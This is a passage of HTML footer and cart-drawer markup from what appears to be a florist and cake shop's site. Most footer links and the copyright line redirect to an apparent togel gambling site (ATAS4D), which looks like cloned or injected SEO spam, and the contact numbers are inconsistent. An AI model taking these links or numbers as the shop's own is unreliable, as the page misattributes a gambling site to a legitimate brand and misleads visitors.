13249    <path d="M6.667 16.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h18.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-18.667z"></path>
13250  </svg>
13251</h5>
13252<ul class="site-footer__list cust-service ml-0 contact-footer-mobile d-flex d-lg-block justify-content-between">
13253  <li class="site-footer__list-item fist list-unstyled icon-footer-whatsapp">
13254    <a href="https://api.whatsapp.com/send?phone=6281514234600&text=https://outerbloom.com" target="_blank" class="small"><span class="lc-icon">
13255      <svg aria-hidden="true" focusable="false" data-prefix="fab" data-icon="whatsapp" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512" class="icon-svg svg-inline--fa fa-whatsapp fa-w-14 fa-2x"><path fill="currentColor" d="M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z" class=""></path></svg></span>
13256      <span class="d-none d-lg-inline-block">0857-6388-1890</span>
13257      <span class="d-lg-none lc-icon-text align-middle">Whatsapp</span>
13258    </a>
13259  </li>
13260  <li class="site-footer__list-item second list-unstyled">
13261    <a href="tel:+622157937918" class="small" target="_blank">
13262      <span class="lc-icon">
13263        <img src="https://outerbloom.com/cdn/shop/t/138/assets/call-footer.svg?v=66245936344487562681752652418" alt="Icon Phone"/>
13264      </span>
13265      <span class="d-none d-lg-inline-block">
13265021-57937918</span>
13266      <span class="d-lg-none lc-icon-text align-middle">Phone</span>
13267    </a>
13268  </li>
13269  
13270</ul>
13271  </div>
13272  
13273  
13274  <div class="site-footer__section col-lg-3 mt-3 mt-md-0 p-0">
13275    <h5 class="bottom-line footer-trigger site-footer__section-title mb-1">
13276      ATAS4D
13277      <svg class="d-lg-none icon icon-plus" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
13278        <title>icon-plus</title>
13279        <path d="M16.667 15.333h8.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-8.667v8.667c0 0.368-0.298 0.667-0.667 0.667s-0.667-0.298-0.667-0.667v-8.667h-8.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h8.667v-8.667c0-0.368 0.298-0.667 0.667-0.667s0.667 0.298 0.667 0.667v8.667z"></path>
13280      </svg>
13281      <svg class="d-lg-none icon icon-minus" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
13282        <title>icon-minus</title>
13283        <path d="M6.667 16.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h18.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-18.667z"></path>
13284      </svg>
13285
13286    </h5>
13287<ul class="site-footer__list ml-0">
13288  <li class="site-footer__list-item list-unstyled mb-1"><a href="https://atas4d.biz/" class="small">Tentang ATAS4D</a></li>
13289  <li class="site-footer__list-item list-unstyled mb-1"><a href="https://atas4d.biz/" class="small">Kebijakan Privasi ATAS4D</a></li>
13290  <li class="site-footer__list-item list-unstyled mb-1"><a href="https://atas4d.biz/" class="small">Syarat & Ketentuan ATAS4D</a></li>
13291  <li class="site-footer__list-item list-unstyled mb-1"><a href="https://atas4d.biz/" class="small">Blog & ATAS4D</a></li>
13292  <li class="site-footer__list-item list-unstyled mb-1"><a href="https://atas4d.biz/" class="small">Karir di ATAS4D</a></li>
13293  <li class="site-footer__list-item list-unstyled mb-1"><a href="https://atas4d.biz/" class="small">Pasaran Togel ATAS4D</a></li>
13294  <li class="site-footer__list-item list-unstyled mb-1"><a href="https://atas4d.biz/" class="small">Terms of Service ATAS4D</a></li>
13295  <li class="site-footer__list-item list-unstyled mb-1"><a href="https://atas4d.biz/" class="small">Kebijakan Pengembalian & Pembayaran ATAS4D</a></li>
13296</ul>
13297    
13298  </div>
13299  
13300  
13301  
13302  <div class="site-footer__section col-lg-3 mt-3 mt-md-0 p-0">
13303    <h5 class="bottom-line footer-trigger site-footer__section-title mb-1">
13304      Bantuan
13305      <svg class="d-lg-none icon icon-plus" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
13306        <title>icon-plus</title>
13307        <path d="M16.667 15.333h8.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-8.667v8.667c0 0.368-0.298 0.667-0.667 0.667s-0.667-0.298-0.667-0.667v-8.667h-8.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h8.667v-8.667c0-0.368 0.298-0.667 0.667-0.667s0.667 0.298 0.667 0.667v8.667z"></path>
13308      </svg>
13309      <svg class="d-lg-none icon icon-minus" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
13310        <title>icon-minus</title>
13311        <path d="M6.667 16.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h18.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-18.667z"></path>
13312      </svg>
13313
13314    </h5>
13315<ul class="site-footer__list ml-0">
13316  <li class="site-footer__list-item list-unstyled mb-1"><a href="https://atas4d.biz/" class="small">Login ATAS4D</a></li>
13317  <li class="site-footer__list-item list-unstyled mb-1"><a href="https://atas4d.biz/" class="small">Daftar Akun ATAS4D</a></li>
13318  <li class="site-footer__list-item list-unstyled mb-1"><a href="https://atas4d.biz/" class="small">Pasaran ATAS4D Terlengkap</a></li>
13319  <li class="site-footer__list-item list-unstyled mb-1"><a href="https://atas4d.biz/" class="small">Keluaran ATAS4D Hari Ini</a></li>
13320  <li class="site-footer__list-item list-unstyled mb-1"><a href="https://atas4d.biz/" class="small">Situs ATAS4D</a></li>
13321  <li class="site-footer__list-item list-unstyled mb-1"><a href="https://atas4d.biz/" class="small">FAQ ATAS4D</a></li>
13322  <li class="site-footer__list-item list-unstyled mb-1"><a href="https://atas4d.biz/" class="small">Kontak CS 24 Jam</a></li>
13323</ul>
13324    
13325  </div>
13326  
13327  
13328  
13329  <div class="site-footer__section col-lg-3 mt-3 mt-md-0 p-0">
13330    <h5 class="bottom-line footer-trigger site-footer__section-title mb-1">
13331      B2B Programs
13332      <svg class="d-lg-none icon icon-plus" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
13333        <title>icon-plus</title>
13334        <path d="M16.667 15.333h8.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-8.667v8.667c0 0.368-0.298 0.667-0.667 0.667s-0.667-0.298-0.667-0.667v-8.667h-8.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h8.667v-8.667c0-0.368 0.298-0.667 0.667-0.667s0.667 0.298 0.667 0.667v8.667z"></path>
13335      </svg>
13336      <svg class="d-lg-none icon icon-minus" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
13337        <title>icon-minus</title>
13338        <path d="M6.667 16.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h18.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-18.667z"></path>
13339      </svg>
13340
13341    </h5>
13342    <ul class="site-footer__list ml-0">
13343      
13344      <li class="site-footer__list-item list-unstyled mb-1"><a href="https://outerbloom.com/pages/corporate-program" class="small">Corporate Program</a></li>
13345      
13346      <li class="site-footer__list-item list-unstyled mb-1"><a href="https://outerbloom.com/pages/be-our-partner" class="small">Be Our Partner</a></li>
13347      
13348    </ul>
13349    
13350    <div class="d-none d-lg-block">
13351      <h5 class="bottom-line site-footer__section-title mb-1">
13352  Layanan Customers
13353  <svg class="d-none icon icon-plus" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
13354    <title>icon-plus</title>
13355    <path d="M16.667 15.333h8.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-8.667v8.667c0 0.368-0.298 0.667-0.667 0.667s-0.667-0.298-0.667-0.667v-8.667h-8.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h8.667v-8.667c0-0.368 0.298-0.667 0.667-0.667s0.667 0.298 0.667 0.667v8.667z"></path>
13356  </svg>
13357  <svg class="d-lg-none icon icon-minus" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
13358    <title>icon-minus</title>
13359    <path d="M6.667 16.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h18.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-18.667z"></path>
13360  </svg>
13361</h5>
13362<ul class="site-footer__list cust-service ml-0 contact-footer-mobile d-flex d-lg-block justify-content-between">
13363  <li class="site-footer__list-item fist list-unstyled icon-footer-whatsapp">
13364    <a href="https://api.whatsapp.com/send?phone=6281514234600&text=https://outerbloom.com" target="_blank" class="small"><span class="lc-icon">
13365      <svg aria-hidden="true" focusable="false" data-prefix="fab" data-icon="whatsapp" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512" class="icon-svg svg-inline--fa fa-whatsapp fa-w-14 fa-2x"><path fill="currentColor" d="M380.9 97.1C339 55.1 283.2 32 223.9 32c-122.4 0-222 99.6-222 222 0 39.1 10.2 77.3 29.6 111L0 480l117.7-30.9c32.4 17.7 68.9 27 106.1 27h.1c122.3 0 224.1-99.6 224.1-222 0-59.3-25.2-115-67.1-157zm-157 341.6c-33.2 0-65.7-8.9-94-25.7l-6.7-4-69.8 18.3L72 359.2l-4.4-7c-18.5-29.4-28.2-63.3-28.2-98.2 0-101.7 82.8-184.5 184.6-184.5 49.3 0 95.6 19.2 130.4 54.1 34.8 34.9 56.2 81.2 56.1 130.5 0 101.8-84.9 184.6-186.6 184.6zm101.2-138.2c-5.5-2.8-32.8-16.2-37.9-18-5.1-1.9-8.8-2.8-12.5 2.8-3.7 5.6-14.3 18-17.6 21.8-3.2 3.7-6.5 4.2-12 1.4-32.6-16.3-54-29.1-75.5-66-5.7-9.8 5.7-9.1 16.3-30.3 1.8-3.7.9-6.9-.5-9.7-1.4-2.8-12.5-30.1-17.1-41.2-4.5-10.8-9.1-9.3-12.5-9.5-3.2-.2-6.9-.2-10.6-.2-3.7 0-9.7 1.4-14.8 6.9-5.1 5.6-19.4 19-19.4 46.3 0 27.3 19.9 53.7 22.6 57.4 2.8 3.7 39.1 59.7 94.8 83.8 35.2 15.2 49 16.5 66.6 13.9 10.7-1.6 32.8-13.4 37.4-26.4 4.6-13 4.6-24.1 3.2-26.4-1.3-2.5-5-3.9-10.5-6.6z" class=""></path></svg></span>
13366      <span class="d-none d-lg-inline-block">0857-6370-1890</span>
13367      <span class="d-lg-none lc-icon-text align-middle">Whatsapp</span>
13368    </a>
13369  </li>
13370  <li class="site-footer__list-item second list-unstyled">
13371    <a href="tel:+622157937918" class="small" target="_blank">
13372      <span class="lc-icon">
13373        <img src="https://outerbloom.com/cdn/shop/t/138/assets/call-footer.svg?v=66245936344487562681752652418" alt="Icon Phone"/>
13374      </span>
13375      <span class="d-none d-lg-inline-block">085763881890</span>
13376      <span class="d-lg-none lc-icon-text align-middle">Phone</span>
13377    </a>
13378  </li>
13379  
13380</ul>
13381    </div>
13382    
13383  </div>
13384  
13385  
13386  <div class="site-footer__section footer-method col-lg-3 mt-3 mt-md-0 p-0 d-block d-lg-none">
13387    <h5 class="bottom-line footer-trigger site-footer__section-title mb-1">
13388      Metode Pembayaran
13389      <svg class="d-lg-none icon icon-plus" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
13390        <title>icon-plus</title>
13391        <path d="M16.667 15.333h8.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-8.667v8.667c0 0.368-0.298 0.667-0.667 0.667s-0.667-0.298-0.667-0.667v-8.667h-8.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h8.667v-8.667c0-0.368 0.298-0.667 0.667-0.667s0.667 0.298 0.667 0.667v8.667z"></path>
13392      </svg>
13393      <svg class="d-lg-none icon icon-minus" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
13394        <title>icon-minus</title>
13395        <path d="M6.667 16.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h18.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-18.667z"></path>
13396      </svg>
13397    </h5>
13398    <ul class="site-footer__list ml-0 method-payment">
13399      
13400      <li><img src="https://outerbloom.com/cdn/shop/files/Payment_2021_Icon_ovo_d9091448-9e8e-4049-8b9c-47b022942188_65x.jpg?v=1614385284" alt="Icon Payment"/></li>
13401      
13402      
13403      <li><img src="https://outerbloom.com/cdn/shop/files/Payment_2021_Icon_dana_1e55a7bb-cbe4-456e-89ed-fdb0cdd7fe38_65x.jpg?v=1614385284" alt="Icon Payment"/></li>
13404      
13405      
13406      <li><img src="https://outerbloom.com/cdn/shop/files/Payment_2021_Icon_shopee_pay_c987eae8-c53e-4493-a243-52a015c87d34_65x.jpg?v=1614385285" alt="Icon Payment"/></li>
13407      
13408      
13409      <li><img src="https://outerbloom.com/cdn/shop/files/Payment_2021_Icon_Link_aja_9a413328-03f7-4024-bc31-004f3197b700_65x.jpg?v=1614385285" alt="Icon Payment"/></li>
13410      
13411      
13412      <li><img src="https://outerbloom.com/cdn/shop/files/Payment_2021_Icon_mastercard_bb55b01a-72ea-440a-9973-35609e91735f_65x.jpg?v=1614385285" alt="Icon Payment"/></li>
13413      
13414      
13415      <li><img src="https://outerbloom.com/cdn/shop/files/Payment_2021_Icon_visa_de5de8b1-bd17-47dc-8f6e-eb78ae3e755a_65x.jpg?v=1614385285" alt="Icon Payment"/></li>
13416      
13417      
13418      <li><img src="https://outerbloom.com/cdn/shop/files/Payment_2021_Icon_bca_96093da7-3e37-4a6b-a35f-3ea840732292_65x.jpg?v=1614385285" alt="Icon Payment"/></li>
13419      
13420      
13421      <li><img src="https://outerbloom.com/cdn/shop/files/Payment_2021_Icon_mandiri_9966e6e5-1a91-4fd3-88dd-a7fe254f9371_65x.jpg?v=1614385285" alt="Icon Payment"/></li>
13422      
13423      
13424      <li><img src="https://outerbloom.com/cdn/shop/files/Payment_2021_Icon_bri_63ba1791-409c-4049-a5d1-66358d5b2c8e_65x.jpg?v=1614385285" alt="Icon Payment"/></li>
13425      
13426      
13427      <li><img src="https://outerbloom.com/cdn/shop/files/Payment_2021_Icon_bank_transfer_0edfac97-0da1-445b-8917-d91f0591091a_65x.jpg?v=1614385285" alt="Icon Payment"/></li>
13428      
13429      
13430      <li><img src="https://outerbloom.com/cdn/shop/files/Payment_2021_Icon_alfamart_d9366c0c-8728-4c7e-bf11-5417b23e7cf0_65x.jpg?v=1614385285" alt="Icon Payment"/></li>
13431      
13432      
13433      <li><img src="https://outerbloom.com/cdn/shop/files/Payment_2021_Icon_Paypal_d6e7bc39-f865-4429-a72b-1f02424c9aa8_65x.jpg?v=1614385285" alt="Icon Payment"/></li>
13434      
13435      
13436      
13437      
13438    </ul>
13439  </div>
13440  <div class="site-footer__section col-lg-3 mt-3 mt-md-0 p-0">
13441    <div class="social-media-desktop d-none d-md-block">
13442      
13443  <div class="social-media">
13444    <h5 class="site-footer__section-title">Follow Our Social Medias</h5>
13445      <ul class="inline-list social-icons mt-2">
13446        
13447          <li>
13448            <a href="https://twitter.com/outerbloom" title="Outerbloom on Twitter" target="_blank">
13449              <svg xmlns="http://www.w3.org/2000/svg" width="22" height="22" viewBox="0 0 22 22" fill="none">
13450  <path d="M9.60246 11.7963L1.48771 21.0573M19.1225 0.642921L11.9066 9.14092M0.855957 0.641754L16.8626 21.0584H21.2726L5.26654 0.641754H0.855957Z" stroke="#212121" stroke-width="0.75" stroke-linecap="round" stroke-linejoin="round"/>
13451</svg>
13452
13453            </a>
13454          </li>
13455        
13456        
13457          <li>
13458            <a href="https://www.facebook.com/outerbloom/" title="Outerbloom on Facebook" target="_blank">
13459              <svg xmlns="http://www.w3.org/2000/svg" width="22" height="23" viewBox="0 0 22 23" fill="none">
13460  <path d="M21.0625 0.912598H0.9375C0.453516 0.912598 0.0625 1.30361 0.0625 1.7876V21.9126C0.0625 22.3966 0.453516 22.7876 0.9375 22.7876H21.0625C21.5465 22.7876 21.9375 22.3966 21.9375 21.9126V1.7876C21.9375 1.30361 21.5465 0.912598 21.0625 0.912598ZM18.5359 7.29736H16.7887C15.4188 7.29736 15.1535 7.94814 15.1535 8.90518V11.0134H18.4238L17.9973 14.3138H15.1535V22.7876H11.7438V14.3165H8.8918V11.0134H11.7438V8.57978C11.7438 5.75518 13.4691 4.21572 15.9902 4.21572C17.1988 4.21572 18.2352 4.30596 18.5387 4.34697V7.29736H18.5359Z" fill="#212121"/>
13461</svg>
13462
13463            </a>
13464          </li>
13465        
13466        
13467          <li>
13468            <a href="https://www.instagram.com/outerbloom" title="Outerbloom on Instagram" target="_blank">
13469              <svg xmlns="http://www.w3.org/2000/svg" width="22" height="23" viewBox="0 0 22 23" fill="none">
13470  <path d="M11 7.0376C10.0482 7.0376 9.11773 7.31985 8.32632 7.84865C7.53491 8.37745 6.91808 9.12906 6.55383 10.0084C6.
1347018958 10.8878 6.09428 11.8554 6.27997 12.789C6.46566 13.7225 6.92401 14.58 7.59705 15.253C8.27009 15.9261 9.12759 16.3844 10.0611 16.5701C10.9947 16.7558 11.9623 16.6605 12.8417 16.2963C13.721 15.932 14.4726 15.3152 15.0014 14.5238C15.5303 13.7324 15.8125 12.8019 15.8125 11.8501C15.8111 10.5742 15.3036 9.35095 14.4014 8.44874C13.4991 7.54654 12.2759 7.03904 11 7.0376ZM11 15.7876C10.2212 15.7876 9.45996 15.5567 8.81244 15.124C8.16492 14.6914 7.66024 14.0764 7.36222 13.3569C7.0642 12.6374 6.98623 11.8457 7.13816 11.0819C7.29009 10.3181 7.6651 9.61653 8.21577 9.06586C8.76644 8.5152 9.46803 8.14018 10.2318 7.98826C10.9956 7.83633 11.7873 7.9143 12.5068 8.21232C13.2263 8.51034 13.8413 9.01502 14.2739 9.66254C14.7066 10.3101 14.9375 11.0713 14.9375 11.8501C14.9375 12.8944 14.5227 13.8959 13.7842 14.6343C13.0458 15.3728 12.0443 15.7876 11 15.7876ZM16.25 0.912598H5.75C4.24211 0.914335 2.79649 1.51411 1.73025 2.58035C0.664012 3.64658 0.0642369 5.09221 0.0625 6.6001V17.1001C0.0642369 18.608 0.664012 20.0536 1.73025 21.1199C2.79649 22.1861 4.24211 22.7859 5.75 22.7876H16.25C17.7579 22.7859 19.2035 22.1861 20.2698 21.1199C21.336 20.0536 21.9358 18.608 21.9375 17.1001V6.6001C21.9358 5.09221 21.336 3.64658 20.2698 2.58035C19.2035 1.51411 17.7579 0.914335 16.25 0.912598ZM21.0625 17.1001C21.0611 18.376 20.5536 19.5992 19.6514 20.5014C18.7491 21.4037 17.5259 21.9111 16.25 21.9126H5.75C4.47409 21.9111 3.25085 21.4037 2.34865 20.5014C1.44644 19.5992 0.938947 18.376 0.9375 17.1001V6.6001C0.938947 5.32419 1.44644 4.10095 2.34865 3.19874C3.25085 2.29654 4.47409 1.78905 5.75 1.7876H16.25C17.5259 1.78905 18.7491 2.29654 19.6514 3.19874C20.5536 4.10095 21.0611 5.32419 21.0625 6.6001V17.1001ZM17.5625 6.1626C17.5625 6.33566 17.5112 6.50483 17.415 6.64872C17.3189 6.79261 17.1822 6.90477 17.0223 6.97099C16.8625 7.03722 16.6865 7.05455 16.5168 7.02078C16.3471 6.98702 16.1912 6.90369 16.0688 6.78132C15.9464 6.65895 15.8631 6.50304 15.8293 6.3333C15.7956 6.16357 15.8129 5.98763 15.8791 5.82775C15.9453 5.66786 16.0575 5.53121 16.2014 5.43506C16.3453 5.33892 16.5144 5.2876 16.6875 5.2876C16.9196 5.2876 17.1421 5.37979 17.3062 5.54388C17.4703 5.70797 17.5625 5.93053 17.5625 6.1626Z" fill="#212121"/>
13471</svg>
13472
13473            </a>
13474          </li>
13475        
13476        
13477          <li>
13478            <a href="https://www.youtube.com/channel/UCSxRXcJS9JeYxRnq-m7MPYQ" title="Outerbloom on YouTube" target="_blank">
13479              <svg xmlns="http://www.w3.org/2000/svg" width="24" height="20" viewBox="0 0 24 20" fill="none">
13480  <path d="M15.7428 9.48587L10.4928 5.98587C10.4269 5.9419 10.3503 5.91665 10.2712 5.91282C10.192 5.90898 10.1134 5.92671 10.0435 5.9641C9.97366 6.00149 9.91528 6.05715 9.8746 6.12513C9.83391 6.19311 9.81245 6.27086 9.8125 6.35009V13.3501C9.81241 13.4293 9.83383 13.5071 9.87447 13.5751C9.91512 13.6431 9.97346 13.6988 10.0433 13.7362C10.1132 13.7736 10.1919 13.7913 10.2711 13.7875C10.3503 13.7836 10.4269 13.7583 10.4928 13.7143L15.7428 10.2143C15.8028 10.1744 15.852 10.1202 15.8861 10.0567C15.9201 9.99314 15.9379 9.92217 15.9379 9.85009C15.9379 9.778 15.9201 9.70704 15.8861 9.64349C15.852 9.57995 15.8028 9.52581 15.7428 9.48587ZM10.6875 12.5331V7.16712L14.7114 9.85009L10.6875 12.5331ZM23.2066 3.56431C23.121 3.2282 22.9568 2.91724 22.7275 2.65709C22.4982 2.39693 22.2102 2.19504 21.8875 2.06806C18.1906 0.63962 12.2483 0.662589 12 0.662589C11.7517 0.662589 5.80937 0.63962 2.1125 2.06806C1.78989 2.19493 1.50205 2.39666 1.27272 2.65661C1.04338 2.91657 0.879104 3.22731 0.793438 3.56321C0.515625 4.62962 0.1875 6.58634 0.1875 9.85009C0.1875 13.1138 0.515625 15.0706 0.793438 16.137C0.879104 16.4729 1.04338 16.7836 1.27272 17.0436C1.50205 17.3035 1.78989 17.5052 2.1125 17.6321C5.80937 19.0606 11.7517 19.0376 12 19.0376H12.0777C12.8313 19.0376 18.3755 18.9906 21.8908 17.6321C22.2134 17.5052 22.5012 17.3035 22.7306 17.0436C22.9599 16.7836 23.1242 16.4729 23.2098 16.137C23.4844 15.0695 23.8125 13.1138 23.8125 9.85009C23.8125 6.58634 23.4844 4.62962 23.2066 3.56321V3.56431ZM22.36 15.9237C22.3092 16.1253 22.2112 16.3119 22.0741 16.4682C21.9369 16.6246 21.7647 16.7461 21.5714 16.8227C18.0309 18.1834 12.0623 18.1626 12 18.1626C11.9377 18.1626 5.97234 18.1834 2.43187 16.8162C2.23861 16.7395 2.06633 16.618 1.92923 16.4617C1.79213 16.3054 1.69412 16.1187 1.64328 15.9171C1.37641 14.8999 1.0625 13.022 1.0625 9.85009C1.0625 6.67821 1.37641 4.80025 1.64 3.78306C1.69084 3.58145 1.78884 3.3948 1.92595 3.23849C2.06305 3.08218 2.23533 2.96068 2.42859 2.884C5.96906 1.51681 11.9377 1.53759 12 1.53759C12.0623 1.53759 18.0277 1.51571 21.5681 2.884C21.7614 2.96068 21.9337 3.08218 22.0708 3.23849C22.2079 3.3948 22.3059 3.58145 22.3567 3.78306C22.6236 4.80025 22.9375 6.67821 22.9375 9.85009C22.9375 13.022 22.6236 14.8999 22.36 15.9171V15.9237Z" fill="#212121"/>
13481</svg>
13482
13483            </a>
13484          </li>
13485        
13486      </ul>
13487   </div>
13488
13489    </div>
13490    <p class="fs-body">Download our app.</p>
13491    <a href="https://play.google.com/store/apps/details?id=com.outerBloom1Expo&referrer=utm_source%3Dwebsite%26utm_medium%3Dfooter%26utm_term%3Dapp%2520install%26anid%3Dadmob" target="_blank"><img src="https://outerbloom.com/cdn/shop/t/138/assets/google-play-logo.png?v=71844389215489113031752652420" alt="Logo Google Play" width="120"/></a>
13492    <a href="https://apps.apple.com/us/app/outerbloom-flower-cake/id1576832504?itsct=apps_box_link&itscg=30200&utm_source=website&utm_medium=footer&utm_campaign=app+install" target="_blank"><img src="https://outerbloom.com/cdn/shop/t/138/assets/app-store-logo.png?v=41600940253401965221752652422" alt="Logo Google Play" width="120"/></a>
13493  </div>
13494</div>
13495
13496<script>
13497  if ($(window).width() < 992) {
13498    $("document").ready(function(){
13499      $(".site-footer__section .footer-trigger").click(function(){
13500        $(this).toggleClass("open");
13501        $(this).next("ul").slideToggle();
13502      });
13503    });
13504  }
13505</script>
13505
13506        </div>
13507      </div>
13508      <div class="copyright">
13509        <span
13510          >&copy; 2026 SEO DINDIN - <a href="https://atas4d.biz/">ATAS4D</a> . All rights reserved
13511          
13512        </span>
13513      </div>
13514    </div>
13515  </div>
13516
13517  
13518</footer>
13519
13520<!-- //site-footer -->
13521
13522
13523</div>
13524      
13525
13526      
13527    </div>
13528
13529    <style>
13530  #CartDrawer .drawer__title {color: #fff;}
13531  #CartDrawer .drawer__close button {color: #fff;}
13532  #CartDrawer .drawer__header {background-color: #212121;padding: 5px 0;}
13533  #CartDrawer .drawer {top: 48px;}
13534  .login-customer a {text-decoration: underline;}
13535</style>
13536
13537<div class="overlay overlay-cart"></div>
13538<div id="CartDrawer" class="drawer drawer--right">
13539  <div class="drawer__header pl-2 pr-2">
13540    <div class="drawer__icon-cart display-table-cell">
13541      <a href="/cart" class="">
13542        <svg class="icon icon-cart" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32"> <path fill="#fff" d="M13.638 23.203c0 0 3.5-2.113 3.502-4.11 0.002-2.304-2.689-3.537-3.497-1.76-0.916-1.778-3.493-1.714-3.497 0.59-0.003 1.999 3.491 5.28 3.491 5.28z"></path> <path fill="#fff" d="M8.112 9.809v16.662l11.063 2.491v-17.58l-11.063-1.573zM7.74 8.858l11.925 1.696c0.213 0.030 0.372 0.218 0.372 0.44v18.519c0 0.284-0.254 0.495-0.523 0.434l-11.925-2.685c-0.198-0.045-0.339-0.225-0.339-0.434v-17.53c0-0.27 0.231-0.477 0.49-0.44z"></path> <path fill="#fff" d="M23.7 10.046l-3.275 0.146-0.388 0.897v17.656l3.664-2.174v-16.526zM24.346 27.214l-4.526 2.685c-0.287 0.17-0.646-0.043-0.646-0.385v-18.519l0.037-0.181 0.534-1.235c0.067-0.154 0.212-0.256 0.375-0.263l3.991-0.178c0.245-0.011 0.45 0.191 0.45 0.444v17.247c0 0.159-0.082 0.306-0.216 0.385z"></path> <path fill="#000" d="M20.772 27.081l-0.501 2.383c-0.050 0.24-0.28 0.392-0.512 0.34s-0.38-0.289-0.33-0.528l0.569-2.707v-16.588c0-0.245 0.193-0.444 0.431-0.444s0.431 0.199 0.431 0.444v16.215l3.296 0.189c0.238 0.014 0.42 0.223 0.406 0.468s-0.217 0.433-0.454 0.419l-3.335-0.191z"></path> <path fill="#fff" d="M20.772 27.081l-0.501 2.383c-0.050 0.24-0.28 0.392-0.512 0.34s-0.38-0.289-0.33-0.528l0.569-2.707v-16.588c0-0.245 0.193-0.444 0.431-0.444s0.431 0.199 0.431 0.444v16.215l3.296 0.189c0.238 0.014 0.42 0.223 0.406 0.468s-0.217 0.433-0.454 0.419l-3.335-0.191z"></path> <path fill="#fff" d="M11.336 8.354l-0.257-0.333c-0.243-0.315 0.012-0.774 0.398-0.717l12.51 1.838c0.236 0.035 0.399 0.26 0.366 0.503s-0.252 0.412-0.487 0.377l-11.436-1.68 0.056 0.073c0.209 0.27 0.052 0.672-0.281 0.718l-4.467 0.607c-0.236 0.032-0.452-0.139-0.484-0.383s0.135-0.467 0.371-0.499l3.711-0.504z"></path> <path fill="#fff" d="M17.152 11.344c0.026-0.003 0.053-0.005 0.079-0.005 0.357 0 0.645 0.297 0.645 0.665s-0.288 0.665-0.645 0.665c-0.322 0-0.59-0.245-0.637-0.565-0.383-0.45-0.515-1.321-0.521-2.536-0.003-0.556 0.026-1.149 0.076-1.739 0.028-0.339 0.057-0.603 0.074-0.735 0.195-2.391-2.008-3.379-3.568-1.658-0.64 0.707-1.041 1.855-1.266 3.412-0.092 0.634-0.137 1.111-0.194 2.024 0.107 0.119 0.172 0.278 0.172 0.453 0 0.342-0.251 0.624-0.573 0.661-0.031 0.005-0.064 0.007-0.097 0.005-0.015-0.001-0.029-0.003-0.044-0.005-0.324-0.036-0.576-0.318-0.576-0.661 0-0.218 0.102-0.412 0.259-0.533 0.058-0.924 0.105-1.415 0.201-2.075 0.249-1.719 0.703-3.020 1.489-3.888 2.114-2.335 5.321-0.897 5.054 2.359-0.018 0.141-0.045 0.392-0.072 0.717-0.047 